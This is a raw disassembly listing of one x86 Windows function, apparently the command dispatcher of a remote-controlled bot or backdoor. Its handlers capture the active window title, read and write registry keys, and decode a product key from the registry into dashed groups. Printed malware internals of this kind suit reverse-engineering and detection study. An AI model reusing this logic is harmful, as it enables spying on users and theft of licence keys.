var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset aALSsSCJEKi	; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›"
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DB20
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41ED10
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DB00
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41F028
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41ED20
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EC0C
		push	offset dword_41ED20
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
